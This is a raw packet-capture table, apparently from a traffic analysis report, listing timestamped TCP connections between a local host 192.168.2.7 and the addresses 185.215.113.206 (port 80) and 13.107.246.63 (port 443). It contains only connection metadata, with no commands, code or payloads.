Dec 7, 2024 18:26:47.401238918 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.401328087 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.401387930 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.401616096 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.401664019 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.401804924 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.401845932 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.401910067 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.401949883 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.402859926 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.402905941 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.403037071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.403079987 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.403928041 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.403974056 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.404041052 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.404084921 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.404992104 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.405035973 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.405078888 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.405117035 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.406114101 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.406157970 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.406202078 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.406235933 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.407135963 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.407185078 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.407231092 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.407272100 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.408238888 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.408287048 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.408366919 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.408412933 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.409316063 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.409364939 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.409512997 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.409557104 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.410312891 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.410361052 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.410469055 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.410512924 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.411385059 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.411429882 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.411464930 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.411523104 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.412409067 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.412456989 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.412532091 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.412586927 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.413532019 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.413589001 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.413840055 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.413883924 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.414613008 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.414659977 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.414710045 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.414751053 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.415683031 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.415741920 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.415827990 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.415879011 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.416793108 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.416846991 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.416887999 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.416929007 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.417866945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.417913914 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.417990923 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.418030977 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.418859959 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.418908119 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.418943882 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.418992996 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.419905901 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.419951916 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.419985056 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.420022011 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.420953989 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.420995951 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.421056032 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.421101093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.422055960 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.422102928 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.422189951 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.422235966 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.423124075 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.423171043 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.423280954 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.423327923 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.424145937 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.424190044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.424267054 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.424312115 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.425204039 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.425251007 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.465877056 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.465940952 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.524179935 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.524220943 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.524291992 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.524317980 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.524600029 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.524652958 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.524755955 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.524801970 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.524959087 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.525005102 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.525929928 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.525980949 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.525989056 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.526041985 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.526518106 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.526565075 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.526647091 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.526693106 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.527574062 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.527621984 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.527690887 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.527738094 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.528652906 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.528700113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.528759956 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.528805971 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.529707909 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.529756069 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.529844046 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.529891014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.530782938 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.530836105 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.530881882 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.530929089 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.531851053 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.531918049 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.531955004 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.532001019 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.532942057 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.532989979 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.533015013 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.533056021 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.533988953 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.534039021 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.534102917 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.534147978 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.535037994 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.535088062 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.535175085 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.535222054 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.536174059 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.536222935 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.536250114 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.536297083 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.537198067 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.537245035 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.537322998 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.537372112 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.538234949 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.538283110 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.538348913 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.538393974 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.539258003 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.539314985 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.649926901 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.650124073 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.650275946 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.650330067 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.650588036 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.650635958 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.650795937 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.650840044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.651674986 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.651731014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.651844025 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.651885986 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.652745008 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.652797937 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.652983904 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.653036118 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.653136969 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.653182030 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.654055119 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.654115915 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.654232025 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.654278040 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.655258894 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.655271053 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.655309916 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.655328989 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.656265974 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.656286001 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.656322002 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.656337976 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.657207966 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.657258987 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.657386065 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.657433033 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.658456087 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.658468008 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.658507109 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.659440994 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.659482002 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.659621954 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.659668922 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.660635948 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.660649061 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.660685062 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.660698891 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.661412954 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.661463976 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.661604881 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.661653042 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.662400961 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.662451982 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.662729979 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.662779093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.663693905 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.663743019 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.663855076 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.663899899 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.664896011 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.664947987 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.665050030 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.665096045 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.665688038 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.665735960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.665857077 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.665901899 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.757473946 CET	443	49796	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:47.757536888 CET	443	49796	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:47.757600069 CET	49796	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:47.757770061 CET	49796	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:47.757791042 CET	443	49796	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:47.757802010 CET	49796	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:47.757807016 CET	443	49796	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:47.760596991 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:47.760637045 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:47.760700941 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:47.760899067 CET	49801	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:47.760906935 CET	443	49801	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:47.774666071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.774746895 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.774792910 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.774831057 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.775228977 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.775284052 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.775353909 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.775392056 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.776293039 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.776345968 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.776469946 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.776510000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.777451992 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.777503014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.777898073 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.777939081 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.778079033 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.778122902 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.779118061 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.779161930 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.779206038 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.779242039 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.780273914 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.780319929 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.780431032 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.780472040 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.781383991 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.781428099 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.781524897 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.781563997 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.782387018 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.782429934 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.782546043 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.782586098 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.783484936 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.783529043 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.783596039 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.783637047 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.784538984 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.784584045 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.784621000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:47.784660101 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.818002939 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:47.937589884 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.158608913 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:48.159104109 CET	49798	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:48.159116983 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:48.159589052 CET	49798	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:48.159595013 CET	443	49798	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:48.163599968 CET	443	49797	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:48.163940907 CET	49797	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:48.163958073 CET	443	49797	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:48.164331913 CET	49797	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:48.164338112 CET	443	49797	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:48.256354094 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.256449938 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.256516933 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.256568909 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.256736040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.256781101 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.256884098 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.256927967 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.257880926 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.257932901 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.258058071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.258106947 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.258873940 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.258922100 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.258972883 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.259020090 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.259999990 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.260051966 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.260071993 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.260114908 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.260978937 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.261045933 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.261079073 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.261125088 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.262068033 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.262125015 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.262177944 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.262231112 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.263138056 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.263191938 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.263247967 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.263293982 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.264195919 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.264245033 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.381130934 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.381272078 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.381355047 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.381355047 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.381541967 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.381594896 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.381841898 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.381891966 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.382390976 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.382445097 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.382530928 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.382579088 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:48.383497000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:48.383547068 CET	49786	80	192.168.2.7	185.215.113.206
